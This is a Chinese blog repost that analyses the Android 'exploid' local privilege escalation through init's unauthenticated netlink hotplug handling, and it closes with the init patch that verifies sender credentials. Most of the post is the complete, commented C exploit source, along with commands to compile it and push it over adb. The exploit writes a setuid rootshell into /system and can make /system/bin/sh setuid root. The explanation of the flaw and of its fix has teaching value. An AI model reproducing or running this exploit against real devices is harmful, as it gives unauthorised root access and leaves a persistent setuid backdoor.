android提权漏洞CVE-2010-EASY修复【转】
本文转载自:
http://blog.csdn.net/lhj0711010212/article/details/9351131
linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。 程序执行的顺序用(1)序号标明了。 通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具 通过arm-none-eabi-gcc exploid.c -static -o exploid 编译 adb push exploid /data/local/tmp 目录中执行即可root 提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。 #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <linux/netlink.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <signal.h> #include <sys/mount.h>
int main(int argc, char **argv, char **env) { char buf[512], path[512]; int ofd; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送 struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock; char *basedir = NULL;
/* I hope there is no LD_ bug in androids rtld :) */ //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell if (geteuid() == 0 && getuid() != 0) rootshell(env);
//(2)获取程序的路径,为/data/local/tmp/exploid if (readlink("/proc/self/exe", path, sizeof(path)) < 0) die("[-] readlink");
if (geteuid() == 0) { //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限 clear_hotplug(); /* remount /system rw */
//(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性 remount_system("/system"); if (copy(path, "/system/bin/rootshell") != 0) chmod("/system/bin/sh", 04755); else chmod("/system/bin/rootshell", 04711); for (;;) sleep(3); }
printf("[*] Android local root exploid (C) The Android Exploid Crew\n"); //(3)改变工作目录,没有root权限,只可以在少数目录执行 basedir = "/sqlite_stmt_journals"; if (chdir(basedir) < 0) { basedir = "/data/local/tmp"; if (chdir(basedir) < 0) basedir = strdup(getcwd(buf, sizeof(buf))); } printf("[+] Using basedir=%s, path=%s\n", basedir, path); printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
memset(&snl, 0, sizeof(snl)); snl.nl_pid = 1; snl.nl_family = AF_NETLINK;
//(4)构建一个NETLINK的套接字 if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket");
//(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid close(creat("loading", 0666)); if ((ofd = creat("hotplug", 0644)) < 0) die("[-] creat"); if (write(ofd, path , strlen(path)) < 0) die("[-] write"); close(ofd);
//(6)建立一个data文件,为指向系统的hotplug的符号链接 symlink("/proc/sys/kernel/hotplug", "data");
//(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" "SUBSYSTEM=firmware%c" "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); printf("[+] sending add message ...\n");
//(8)发送该信息 if (sendmsg(sock, &msg, 0) < 0) die("[-] sendmsg"); close(sock); printf("[*] Try to invoke hotplug now, clicking at the wireless\n" "[*] settings, plugin USB key etc.\n" "[*] You succeeded if you find /system/bin/rootshell.\n" "[*] GUI might hang/restart meanwhile so be patient.\n"); sleep(3); return 0; }
void die(const char *msg) { perror(msg); exit(errno); }
int copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0) return -1; if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) { close(fd1); return -1; }
for (;;) { r = read(fd1, buf, sizeof(buf)); if (r <= 0) break; if (write(fd2, buf, r) != r) break; }
close(fd1); close(fd2); sync(); sync(); return r; }
void clear_hotplug() { int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC); write(ofd, "", 1); close(ofd); }
void rootshell(char **env) { char *sh[] = {"/system/bin/sh", 0};
// AID_SHELL if (getuid() != 2000) die("[-] Permission denied.");
setuid(0); setgid(0); execve(*sh, sh, env); die("[-] execve"); }
int remount_system(const char *mntpoint) { FILE *f = NULL; int found = 0; char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL) return -1;
memset(buf, 0, sizeof(buf)); for (;!feof(f);) { if (fgets(buf, sizeof(buf), f) == NULL) break; if (strstr(buf, mntpoint)) { found = 1; break; } } fclose(f); if (!found) return -1; if ((dev = strtok(buf, " \t")) == NULL) return -1; if (strtok(NULL, " \t") == NULL) return -1; if ((fstype = strtok(NULL, " \t")) == NULL) return -1; return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); } CVE-2010-EASY漏洞是android两大提权漏洞之一,它的修复方法很简单 static int open_uevent_socket(void) { + setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)); //在open_uevent_socket对套接字增加一个选项 SO_PASSCRED,这样可以让套接字增加一个认证,让接收者可以知道发送者的uid和gid :-) } void handle_device_fd(int fd) { + for(;;) { + char msg[UEVENT_MSG_LEN+2]; + char cred_msg[CMSG_SPACE(sizeof(struct ucred))]; + struct iovec iov = {msg, sizeof(msg)}; + struct sockaddr_nl snl; + struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0}; + + ssize_t n = recvmsg(fd, &hdr, 0); + if (n <= 0) { + break; + } - while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) { - struct uevent uevent; + if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) { + /* 如果不是内核的多播信息则抛弃 */ + continue; + } + + struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr); + if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) { + /* 如果发送者的认证没有则抛弃 */ + continue; + } + + struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg); + if (cred->uid != 0) { + /* 消息不是来自于root用户则抛弃 */ + continue; + } } } 结合init源码剖析android root提权漏洞(CVE-2010-EASY)
|
android提权漏洞CVE-2010-EASY修复【转】的更多相关文章
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...
- Android提权漏洞CVE-2014-7920、CVE-2014-7921
- Linux Kernel ‘perf’ Utility 本地提权漏洞
漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...
- Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...
- 9.CVE-2016-5195(脏牛)内核提权漏洞分析
漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- Linux本地内核提权漏洞复现(CVE-2019-13272)
Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...
- 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现
sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...
- sudo 提权漏洞(CVE-2019-14287)复现 (10.16 第二十二天)
sudo是Linux系统命令,让普通账号以root身份去执行某些命令,比,安装软件.查看某些配置文件.关机.重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo ...
随机推荐
- 转载:c++打印日志文件的一个模板
转载地址:http://blog.csdn.net/huangyifei_1111/article/details/52134914 NetDataLog.h #ifndef NETDATALOG_H ...
- Subsequence(hdu 3530)
题意:给你一个长度为n的数列,要求一个子区间,使得区间的最大值与最小值的差s满足,m<=s<=k,求满足条件的最长子区间 /* 单调队列 我们可以用单调队列分别维护最大值和最小值 当差值大 ...
- Vxlan简介
1.为什么需要Vxlan 1.什么是VXLAN VXLAN(Virtual eXtensible LAN可扩展虚拟局域网),是一种mac in UDP技术.传统的二层帧被封装到了UDP的报文中,通过U ...
- MySQL-JDBC Loadbalance深入解析
背景说明 公司的整个电商系统搭建在华为云上,根据老总的估计,上线3个月之后日订单量会达到百万级别,保守估计3个月之后总订单个数预计会有5千万.MySQL单表达到千万级别,就会出现明显的性能问题.根据如 ...
- Linux 下MySQL 安装与卸载
这个写的比较好:http://www.cnblogs.com/starof/p/4680083.html 2.卸载系统自带的Mariadb rpm -qa|grep mariadb / ...
- hdu3078 建层次树+在线LCA算法+排序
题意:n个点,n-1条边构成无向树,每个节点有权,Q次询问,每次或问从a->b的最短路中,权第k大的值,/或者更新节点a的权, 思路:在线LCA,先dfs生成树0,标记出层数和fa[](每个节点 ...
- AC日记——[SDOI2009]晨跑 bzoj 1877
1877: [SDOI2009]晨跑 Time Limit: 4 Sec Memory Limit: 64 MBSubmit: 2131 Solved: 1142[Submit][Status][ ...
- 数字IC设计入门必备——VIM自定义模板调用与VCS基本仿真操作示例
一.前言 毕业论文答辩结束,闲下来写篇文章.芯片研发人员都在Linux系统下借助各种EDA工具和代码语言完成工作,因此提高代码开发效率,熟练运用开发工具是十分必要的.本文讲述VIM编辑神器的veril ...
- KS103超声波测距模块
max232:电平转换芯片,将电脑的RS-232标准串口(高+12V,低-12V)转换为(高+5V,低0V). 电脑串口(RS -232) => 单片机串口(TTL串口) SIPEX SP323 ...
- SSD TRIM
SSD 在操作方式上与传统磁性驱动器不同,并且它们需要在软件上另行处理以达到功能优化.-- Don Watkins 编译自: https://opensource.com/article/17/1/s ...